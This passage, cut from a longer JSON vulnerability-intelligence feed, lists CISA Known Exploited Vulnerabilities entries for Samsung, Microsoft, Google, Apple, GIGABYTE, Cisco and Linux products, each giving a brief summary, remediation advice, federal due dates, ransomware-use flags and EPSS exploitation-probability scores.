Vulnerability","summary":"Samsung mobile devices using Mali GPU contains an improper access control vulnerability in sec_log file. Exploitation of the vulnerability exposes sensitive kernel information to the userspace. This vulnerability was chained with CVE-2021-25337 and CVE-2021-25370.","detail":"CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-11-08","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"Mobile Devices","stacks":["Samsung mobile","Samsung","Mobile Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-11-08","dueAt":"2022-11-29","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01079,"percentile":0.64829,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-25369&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-25369","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-11-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-25369 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-25369&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-25369, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-25370","cveId":"CVE-2021-25370","aliases":[],"kind":"vulnerability","title":"Samsung Mobile Devices Memory Corruption Vulnerability","summary":"Samsung mobile devices using Mali GPU contain an incorrect implementation handling file descriptor in dpu driver. This incorrect implementation results in memory corruption, leading to kernel panic. This vulnerability was chained with CVE-2021-25337 and CVE-2021-25369.","detail":"CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-11-08","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"Mobile Devices","stacks":["Samsung mobile","Samsung","Mobile Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-11-08","dueAt":"2022-11-29","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0089,"percentile":0.59099,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-25370&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-25370","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-11-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-25370 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-25370&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-25370, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-41073","cveId":"CVE-2022-41073","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Print Spooler Privilege Escalation Vulnerability","summary":"Microsoft Windows Print Spooler contains an unspecified vulnerability that allows an attacker to gain SYSTEM-level privileges.","detail":"CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-11-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-11-08","dueAt":"2022-12-09","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02362,"percentile":0.83662,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-41073&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-41073","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-11-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-41073 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-41073&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-41073, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-41091","cveId":"CVE-2022-41091","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability","summary":"Microsoft Windows Mark of the Web (MOTW) contains a security feature bypass vulnerability resulting in a limited loss of integrity and availability of security features.","detail":"CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-11-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-11-08","dueAt":"2022-12-09","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0191,"percentile":0.79645,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-41091&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-41091","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-11-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-41091 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-41091&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-41091, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-41125","cveId":"CVE-2022-41125","aliases":[],"kind":"vulnerability","title":"Microsoft Windows CNG Key Isolation Service Privilege Escalation Vulnerability","summary":"Microsoft Windows Cryptographic Next Generation (CNG) Key Isolation Service contains an unspecified vulnerability that allows an attacker to gain SYSTEM-level privileges.","detail":"CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-11-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-11-08","dueAt":"2022-12-09","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03046,"percentile":0.8744,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-41125&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-41125","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-11-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-41125 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-41125&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-41125, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-41128","cveId":"CVE-2022-41128","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Scripting Languages Remote Code Execution Vulnerability","summary":"Microsoft Windows contains an unspecified vulnerability in the JScript9 scripting language which allows for remote code execution.","detail":"CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-11-08","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-11-08","dueAt":"2022-12-09","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.24623,"percentile":0.97869,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-41128&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-41128","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-11-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-41128 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-41128&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-41128, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-3723","cveId":"CVE-2022-3723","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-10-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-10-28","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-10-28","dueAt":"2022-11-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07921,"percentile":0.94686,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-3723&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-3723","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-10-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-3723 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-3723&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-3723, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-42827","cveId":"CVE-2022-42827","aliases":[],"kind":"vulnerability","title":"Apple iOS and iPadOS Out-of-Bounds Write Vulnerability","summary":"Apple iOS and iPadOS kernel contain an out-of-bounds write vulnerability which can allow an application to perform code execution with kernel privileges.","detail":"CISA added this entry on 2022-10-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-10-25","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS and iPadOS","stacks":["Apple iOS and iPadOS","Apple","iOS and iPadOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-10-25","dueAt":"2022-11-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01066,"percentile":0.64508,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-42827&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-42827","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-10-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-42827 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-42827&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-42827, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-19320","cveId":"CVE-2018-19320","aliases":[],"kind":"vulnerability","title":"GIGABYTE Multiple Products Unspecified Vulnerability","summary":"The GDrv low-level driver in GIGABYTE App Center, AORUS Graphics Engine, XTREME Gaming Engine, and OC GURU II exposes ring0 memcpy-like functionality that could allow a local attacker to take complete control of the affected system.","detail":"CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-10-24","updatedAt":null,"regions":["Global"],"vendor":"GIGABYTE","product":"Multiple Products","stacks":["GIGABYTE","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-10-24","dueAt":"2022-11-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04597,"percentile":0.91591,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-19320&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-19320","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-10-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-19320 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-19320&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-19320, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-19321","cveId":"CVE-2018-19321","aliases":[],"kind":"vulnerability","title":"GIGABYTE Multiple Products Privilege Escalation Vulnerability","summary":"The GPCIDrv and GDrv low-level drivers in GIGABYTE App Center, AORUS Graphics Engine, XTREME Gaming Engine, and OC GURU II expose functionality to read and write arbitrary physical memory. This could be leveraged by a local attacker to elevate privileges.","detail":"CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-10-24","updatedAt":null,"regions":["Global"],"vendor":"GIGABYTE","product":"Multiple Products","stacks":["GIGABYTE","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-10-24","dueAt":"2022-11-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03701,"percentile":0.89657,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-19321&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-19321","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-10-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-19321 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-19321&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-19321, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-19322","cveId":"CVE-2018-19322","aliases":[],"kind":"vulnerability","title":"GIGABYTE Multiple Products Code Execution Vulnerability","summary":"The GPCIDrv and GDrv low-level drivers in GIGABYTE App Center, AORUS Graphics Engine, XTREME Gaming Engine, and OC GURU II expose functionality to read/write data from/to IO ports. This could be leveraged in a number of ways to ultimately run code with elevated privileges.","detail":"CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-10-24","updatedAt":null,"regions":["Global"],"vendor":"GIGABYTE","product":"Multiple Products","stacks":["GIGABYTE","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-10-24","dueAt":"2022-11-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01816,"percentile":0.78543,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-19322&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-19322","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-10-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-19322 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-19322&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-19322, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-19323","cveId":"CVE-2018-19323","aliases":[],"kind":"vulnerability","title":"GIGABYTE Multiple Products Privilege Escalation Vulnerability","summary":"The GPCIDrv and GDrv low-level drivers in GIGABYTE App Center, AORUS Graphics Engine, XTREME Gaming Engine, and OC GURU expose functionality to read and write arbitrary physical memory. This could be leveraged by a local attacker to elevate privileges.","detail":"CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-10-24","updatedAt":null,"regions":["Global"],"vendor":"GIGABYTE","product":"Multiple Products","stacks":["GIGABYTE","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-10-24","dueAt":"2022-11-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.08364,"percentile":0.94927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-19323&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-19323","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-10-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-19323 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-19323&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-19323, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-3153","cveId":"CVE-2020-3153","aliases":[],"kind":"vulnerability","title":"Cisco AnyConnect Secure Mobility Client for Windows Uncontrolled Search Path Vulnerability","summary":"Cisco AnyConnect Secure Mobility Client for Windows allows for incorrect handling of directory paths. An attacker with valid credentials on Windows would be able to copy malicious files to arbitrary locations with system level privileges. This could include DLL pre-loading, DLL hijacking, and other related attacks.","detail":"CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-10-24","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"AnyConnect Secure","stacks":["Cisco","AnyConnect Secure"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-10-24","dueAt":"2022-11-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.28307,"percentile":0.98105,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-3153&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-3153","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-10-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-3153 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-3153&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-3153, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-3433","cveId":"CVE-2020-3433","aliases":[],"kind":"vulnerability","title":"Cisco AnyConnect Secure Mobility Client for Windows DLL Hijacking Vulnerability","summary":"Cisco AnyConnect Secure Mobility Client for Windows interprocess communication (IPC) channel allows for insufficient validation of resources that are loaded by the application at run time. An attacker with valid credentials on Windows could execute code on the affected machine with SYSTEM privileges.","detail":"CISA added this entry on 2022-10-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-10-24","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"AnyConnect Secure","stacks":["Cisco","AnyConnect Secure"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-10-24","dueAt":"2022-11-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10049,"percentile":0.95587,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-3433&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-3433","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-10-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-3433 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-3433&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-3433, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-3493","cveId":"CVE-2021-3493","aliases":[],"kind":"vulnerability","title":"Linux Kernel Privilege Escalation Vulnerability","summary":"The overlayfs stacking file system in Linux kernel does not properly validate the application of file capabilities against user namespaces, which could lead to privilege escalation.","detail":"CISA added this entry on 2022-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-10-20","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-10-20","dueAt":"2022-11-10","action":"Apply updates per vendor 